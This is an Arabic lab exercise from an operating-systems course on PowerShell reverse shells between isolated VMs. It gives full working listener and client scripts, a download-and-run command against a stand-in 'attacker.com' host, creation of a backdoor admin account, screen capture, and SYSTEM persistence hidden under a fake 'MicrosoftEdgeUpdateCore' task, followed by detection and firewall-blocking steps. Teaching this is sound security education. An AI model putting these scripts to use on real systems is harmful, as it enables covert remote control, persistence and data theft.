انتقل إلى المحتوى الرئيسي

المختبر 3.2: Reverse Shell والتحكم عن بعد

الأهداف التعليمية​

في نهاية هذا المختبر، ستكون قادرًا على:

  • فهم مفهوم reverse shell
  • إنشاء اتصال reverse shell بين جهازين
  • تنفيذ الأوامر عن بعد
  • نقل الملفات بين الأجهزة
  • تحديد وحظر reverse shells
  • فهم كيفية تواصل البرمجيات الخبيثة مع خادم C&C الخاص بها

المدة المقدرة​

30 دقيقة

المتطلبات المسبقة​

  • 2 VMs Windows (أو 1 Windows + 1 Kali)
  • شبكة داخلية VirtualBox مهيأة
  • PowerShell

السياق المهني​

يتم استخدام reverse shells من قبل:

  • مختبري الاختراق لاختبار أمان الشبكة
  • المسؤولين للدعم عن بعد
  • البرمجيات الخبيثة للتحكم عن بعد (RAT)
  • APT للحفاظ على الوصول طويل الأمد

⚠️ تحذير أخلاقي وقانوني​

مسموح: على VMs الخاصة بك للاختبار فقط، شبكة معزولة
ممنوع: على الأنظمة غير المصرح بها، الوصول غير المصرح به
العواقب: جريمة خطيرة - سجن وغرامات ضخمة


الجزء 1: إعداد المختبر​

الخطوة 1.1: الهيكلية​

VM1: المهاجم
IP: 192.168.100.10
المنفذ: 4444 (استماع)

VM2: الضحية
IP: 192.168.100.20
اتصال بـ VM1

الخطوة 1.2: إعداد الشبكة​

على VM1 و VM2:

الإعدادات → الشبكة → شبكة داخلية "LabNet"

PowerShell - إعداد IP:

# VM1
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.10 -PrefixLength 24

# VM2
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.20 -PrefixLength 24

اختبار:

ping 192.168.100.20

الجزء 2: طريقة PowerShell (الأصلية)​

الخطوة 2.1: VM1 - المستمع​

على VM1 (المهاجم)، احفظ listener.ps1:

Write-Host "=== REVERSE SHELL LISTENER ===" -ForegroundColor Cyan
Write-Host "استماع على المنفذ 4444..." -ForegroundColor Yellow

$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',4444)
$listener.Start()

$client = $listener.AcceptTcpClient()
$stream = $client.GetStream()

Write-Host "تم استقبال الاتصال!" -ForegroundColor Green
Write-Host "IP: $($client.Client.RemoteEndPoint)" -ForegroundColor Yellow
Write-Host ""

[byte[]]$bytes = 0..65535|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nPS " + (pwd).Path + "> ")
$stream.Write($sendbytes,0,$sendbytes.Length)
$stream.Flush()

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)

try {
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String)
} catch {
$sendback = "Error: $_`n"
}

$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}

$client.Close()
$listener.Stop()
Write-Host "تم إغلاق الاتصال" -ForegroundColor Red

نفذ:

powershell -ExecutionPolicy Bypass -File listener.ps1

انتظر الاتصال...

الخطوة 2.2: VM2 - العميل (الضحية)​

على VM2، احفظ reverse.ps1:

$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444)
$stream = $client.GetStream()

[byte[]]$bytes = 0..65535|%{0}

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)

try {
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
} catch {
$sendback = "Error: $_`n"
}

$sendback2 = $sendback
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}

$client.Close()

نفذ:

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File reverse.ps1

الخطوة 2.3: تم إنشاء الاتصال!​

على VM1، سترى الآن:

=== REVERSE SHELL LISTENER ===
استماع على المنفذ 4444...
تم استقبال الاتصال!
IP: 192.168.100.20:54321

PS C:\Users\Attaquant>

اكتب الأوامر:

whoami
hostname
Get-Process
Get-LocalUser
Get-ChildItem C:\Users
Get-NetTCPConnection
systeminfo

بوم! تحكم كامل في VM2 من VM1!

أسئلة:

  1. هل تم إنشاء الاتصال؟
  2. هل يمكنك تنفيذ أوامر PowerShell؟
  3. كم من الوقت استغرق الإنشاء؟

الجزء 3: إجراءات متقدمة​

الخطوة 3.1: نقل الملفات​

تحميل ملف من الضحية:

# على VM1 (من الشل)
Get-Content C:\Users\Victime\Desktop\secret.txt

إنشاء ملف على الضحية:

"لقد تم اختراقك!" | Out-File C:\Users\Public\pwned.txt

تحميل وتنفيذ سكريبت:

Invoke-WebRequest -Uri "http://attacker.com/tool.ps1" -OutFile C:\temp\tool.ps1
. C:\temp\tool.ps1

الخطوة 3.2: إنشاء مستخدم Backdoor​

من الشل على VM2:

net user backdoor P@ssw0rd123! /add
net localgroup Administrateurs backdoor /add

لقد أنشأت حساب مدير دائم!

الخطوة 3.3: لقطة شاشة عن بعد​

التقاط شاشة الضحية:

Add-Type -AssemblyName System.Windows.Forms
$screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
$bitmap = New-Object System.Drawing.Bitmap($screen.Width, $screen.Height)
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen($screen.Location, [System.Drawing.Point]::Empty, $screen.Size)
$bitmap.Save("C:\Users\Public\screenshot.png")

النتيجة: تم حفظ لقطة الشاشة!

أسئلة: 4. هل نجحت في إنشاء حساب مستخدم؟ 5. هل تعمل لقطة الشاشة؟


الجزء 4: الاستمرارية​

الخطوة 4.1: مهمة مجدولة تلقائية​

على VM2، أنشئ الاستمرارية:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\reverse.ps1"

$trigger = New-ScheduledTaskTrigger -AtStartup

$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest

Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" `
-Action $action -Trigger $trigger -Principal $principal

اختبر:

  1. أعد تشغيل VM2
  2. VM1 يشغل المستمع
  3. اتصال تلقائي!

أسئلة: 6. هل تعمل الاستمرارية بعد إعادة التشغيل؟ 7. هل المهمة مرئية للمستخدم العادي؟


الجزء 5: الكشف والدفاع​

الخطوة 5.1: اكتشاف الاتصالات النشطة​

Get-NetTCPConnection | Where-Object {$_.State -eq "Established" -and $_.RemoteAddress -ne "127.0.0.1"} | 
Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess,@{
Name="ProcessName"
Expression={(Get-Process -Id $_.OwningProcess).Name}
} | Format-Table

مشتبه به: powershell.exe مع اتصال خارجي!

الخطوة 5.2: الحظر باستخدام الجدار الناري​

New-NetFirewallRule -DisplayName "Block PowerShell Outbound" `
-Direction Outbound `
-Program "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" `
-Action Block

الخطوة 5.3: إزالة الاستمرارية​

Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" -Confirm:$false
Get-Process powershell | Where-Object {$_.CommandLine -like "*reverse*"} | Stop-Process -Force

أسئلة: 8. هل اكتشفت reverse shell؟ 9. هل يعمل حظر الجدار الناري؟


التسليمات​

  1. وثيقة تقنية (3-4 صفحات):

    • إجابات على الأسئلة التسعة
    • مخطط هيكلية الشبكة
    • لقطات شاشة من الشل النشط
  2. تحليل أمني (2 صفحات):

    • الكشف في المؤسسة
    • إجراءات الوقاية

أوامر مرجعية​

# المستمع (VM1)
powershell -ExecutionPolicy Bypass -File listener.ps1

# العميل (VM2)
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File reverse.ps1

# الكشف
Get-NetTCPConnection | Where State -eq "Established"
Get-Process powershell

# الحظر
New-NetFirewallRule -DisplayName "Block" -Direction Outbound -Program "powershell.exe" -Action Block

الخاتمة​

الدروس الرئيسية:

  1. Reverse shell = تحكم كامل عن بعد
  2. يتجاوز الجدار الناري بسهولة
  3. PowerShell = قوي جدًا
  4. الاستمرارية = وصول دائم
  5. الكشف ممكن مع مراقبة الشبكة

الرسالة: مراقبة الشبكة الصادرة ضرورية في المؤسسة!


تم تطوير المختبر في إطار دورة نظم التشغيل - الوحدة 3